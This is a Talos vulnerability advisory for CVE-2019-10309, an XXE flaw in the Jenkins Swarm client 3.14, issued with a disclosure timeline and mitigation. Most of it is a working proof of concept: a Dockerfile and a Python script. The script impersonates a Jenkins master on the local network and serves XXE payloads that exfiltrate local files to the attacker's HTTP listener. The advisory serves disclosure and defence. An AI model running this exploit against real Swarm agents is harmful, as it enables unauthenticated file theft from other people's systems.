Talos Vulnerability Report

TALOS-2019-0783

Jenkins Swarm Plugin XML external entities information disclosure vulnerability

May 6, 2019
CVE Number

CVE-2019-10309

Summary

The Jenkins Self-Organizing Swarm Modules Plugin, version 3.14, contains a trivial XXE (XML External Entities) vulnerability inside of the getCandidateFromDatagramResponses() method. As a result of this issue, it is possible for an attacker on the same network as a Swarm client to read arbitrary files from the system by responding to the UDP discovery requests with a specially crafted response.

Tested Versions

Swarm-Client - 3.14

Product URLs

https://github.com/jenkinsci/swarm-plugin [https://wiki.jenkins.io/display/JENKINS/Swarm+Plugin][https://wiki.jenkins.io/display/JENKINS/Swarm+Plugin]

CVSSv3 Score

6.1 - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L

CWE

CWE-611 - Improper Restriction of XML External Entity Reference ('XXE')

Details

This vulnerability could allow an unprivileged user connected to the network on which a set of Swarm agents are deployed to access data on the agent instances without additional authentication. Due to the nature of the UDP broadcast discovery mechanism, the ability of a user to run the proof-of-concept code in a network that uses this mechanism for Jenkins Master discovery yields unauthenticated local file read(s) on all agents seeking masters. This was tested in a Docker-based environment, where all agents running the Swarm Agent were able to be exploited simultaneously.

A CVSS v3 score of 6.1 has been calculated for this vulnerability. However, this is likely heavily dependent on the given deployment and could be significantly lower depending on a number of implementation factors. Furthermore, due to the nature of the Java XML parser, files that contain certain characters cannot be reflected in FTP or HTTP URIs to exfiltrate data.

Exploit Proof of Concept

Dockerfile

FROM ubuntu:latest

# Update repository metadata and install a JVM.
RUN apt update && \
    apt install -y openjdk-8-jre-headless tcpdump curl && \
    apt install -y python3 python3-pip tmux && \
    pip3 install pyftpdlib

# Grab the latest Swarm Client.
RUN curl -D - -o /var/tmp/swarm-client.jar \
    https://repo.jenkins-ci.org/releases/org/jenkins-ci/plugins/swarm-client/3.14/swarm-client-3.14.jar

# Copy our exploit code to the container.
COPY exploit.py /root/exploit.py

# Give 'er.
ENTRYPOINT java -jar /var/tmp/swarm-client.jar

exploit.py

''' Jenkins Swarm-Plugin XXE PoC (via @Darkarnium). '''

import os
import sys
import socket
import uuid
import logging
import http.server
import socketserver
import multiprocessing


def find_ip():
    ''' Find the IP of the 'primary' network interface. '''
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.connect(('8.8.8.8', 80))
    addr = sock.getsockname()[0]
    sock.close()
    return addr


class RequestHandler(http.server.BaseHTTPRequestHandler):
    ''' Provides a set of request handlers for our Fake jenkins server. '''

    def __init__(self, request, client_address, server):
        ''' Bot on a logger. '''
        self.logger = logging.getLogger(__name__)
        super().__init__(request, client_address, server)

    def version_string(self):
        ''' Override version string / Server header. '''
        return 'TotallyJenkins'

    def log_message(self, fmt, *args):
        ''' Where we're going, we don't need logs. '''
        pass

    def log_error(self, fmt, *args):
        ''' Where we're going, we don't need logs. '''
        pass

    def log_request(self, code='-', size='-'):
        ''' Where we're going, we don't need logs. '''
        self.logger.debug(
            'Received %s request for %s from %s',
            self.command,
            self.path,
            self.client_address
        )

    def build_stage_two(self):
        ''' Builds a second stage XXE payload - for exfil. '''
        payload = '''
            <!ENTITY % local1 SYSTEM "file:///etc/debian_version">
            <!ENTITY % remote1 "<!ENTITY exfil1 SYSTEM 'http://{0}:{1}/exfil?/etc/debian_version=%local1;'>">
            <!ENTITY % local2 SYSTEM "file:///etc/hostname">
            <!ENTITY % remote2 "<!ENTITY exfil2 SYSTEM 'http://{0}:{1}/exfil?/etc/hostname=%local2;'>">
        '''.format(find_ip(), '8080')
        return payload.encode()

    def do_GET(self):
        ''' Implements routing for HTTP GET requests. '''
        self.logger.debug('Processing GET on route "%s"', self.path)

        # Provide an exfiltration endpoint.
        if '/exfil' in self.path:
            self.logger.warn('Exfiltrated %s -> "%s"', *self.path.split('?')[1].split('='))
            self.send_response(200, 'OK')
            self.send_header('X-Hudson', '1.395')
            self.send_header('Content-Length', '2')
            self.end_headers()
            self.wfile.write(b'OK')

        # Serve the payload DTD.
        if self.path.endswith('.dtd'):
            stage_two = self.build_stage_two()
            self.send_response(200, 'OK')
            self.send_header('Content-Type', 'application/x-java-jnlp-file')
            self.send_header('Content-Length', len(stage_two))
            self.end_headers()
            self.wfile.write(stage_two)

        # Ensure the X-Hudson check in Swarm plugin passes.
        if self.path == '/':
            self.send_response(200, 'OK')
            self.send_header('X-Hudson', '1.395')
            self.send_header('Content-Length', '2')
            self.end_headers()
            self.wfile.write(b'OK')

    def do_PUT(self):
        ''' Mock HTTP PUT requests. '''
        self.send_response(500)

    def do_POST(self):
        ''' Mock HTTP POST requests. '''
        self.logger.debug('Processing POST on route "%s"', self.path)

        # Respond with an OK to keep the exchange going.
        if self.path.startswith('/plugin/swarm/createSlave'):
            self.send_response(200, 'OK')
            self.send_header('Content-Length', '0')
            self.end_headers()

    def do_HEAD(self):
        ''' Mock HTTP HEAD requests. '''
        self.send_response(500)

    def do_PATCH(self):
        ''' Mock HTTP PATCH requests. '''
        self.send_response(500)

    def do_OPTIONS(self):
        ''' Mock HTTP HEAD requests. '''
        self.send_response(500)

class HTTPServer(multiprocessing.Process):
    ''' Provides a Fake Jenkins server to signal the Swarm. '''

    def __init__(self, port=8080):
        ''' Bolt on a logger. '''
        super().__init__()
        self.port = port
        self.logger = logging.getLogger(__name__)

    def run(self):
        ''' Do the thing. '''
        self.logger.info('Starting HTTP listener on TCP %s', self.port)

        # Kick off the server.
        instance = http.server.HTTPServer(
            ('0.0.0.0', self.port),
            RequestHandler
        )
        instance.serve_forever()


class Spwner(multiprocessing.Process):
    ''' Provides a Spawn broadcast listener and responder. '''

    def __init__(self, port=33848):
        ''' Setup a socket and bolt on a logger. '''
        super().__init__()
        self.port = port
        self.logger = logging.getLogger(__name__)
        self.logger.info('Binding broadcast listener to UDP %s', port)
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.bind(('255.255.255.255', self.port))
        self.swarm = str(uuid.uuid4())

    def build_swarm_xml(self):
        ''' Builds a baked Swarm payload. '''
        # This is dirty.
        payload = '''<?xml version="1.0" encoding="ISO-8859-1"?>
            <!DOCTYPE swarm [
                <!ENTITY % stageTwo SYSTEM "http://{0}:{1}/stageTwo.dtd">
                %stageTwo;
                %remote1;
                %remote2;
            ]>
            <root>
                <swarm>&exfil1;</swarm>
                <version>&exfil2;</version>
                <url>http://{0}:{1}/</url>
            </root>
        '''.format(find_ip(), '8080')
        return payload.encode()

    def respond(self, client):
        ''' Send a payload to the given client. '''
        addr, port = client
        self.logger.info('Sending payload to %s:%s', addr, port)
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.sendto(self.build_swarm_xml(), (addr, port))
        self.logger.info('Payload sent!')

    def listen(self):
        ''' Listen for clients. '''
        while True:
            _, client = self.sock.recvfrom(1024)
            self.logger.info('Received a Swarm broadcast from %s', client)
            self.respond(client)

    def run(self):
        ''' Do the thing. '''
        self.listen()


def main():
    ''' Jenkins Swarm-Plugin RCE PoC. '''
    # Configure the logger.
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(process)d - [%(levelname)s] %(message)s',
    )
    log = logging.getLogger(__name__)
    # log.setLevel(logging.DEBUG)

    # Spawn a fake Jenkins HTTP server.
    log.info('Spawning fake Jenkins HTTP Server')
    httpd = HTTPServer()
    httpd.start()

    # Spawn a broadcast listener.
    log.info('Spawning a Swarm broadcast listener')
    listener = Spwner()
    listener.start()


if __name__ == '__main__':
    main()

Mitigation

Until such time that the vendor produces a patched version, the UDP broadcast functionality should be disabled. This can be performed by explicitly specifying a Jenkins master to connect to as part of the command-line arguments.

Timeline

2018-12-05 - Vendor Disclosure
2019-04-30 - Vendor Patched
2019-05-06 - Public Release

Credit

Discovered by Peter Adkins of Cisco Umbrella.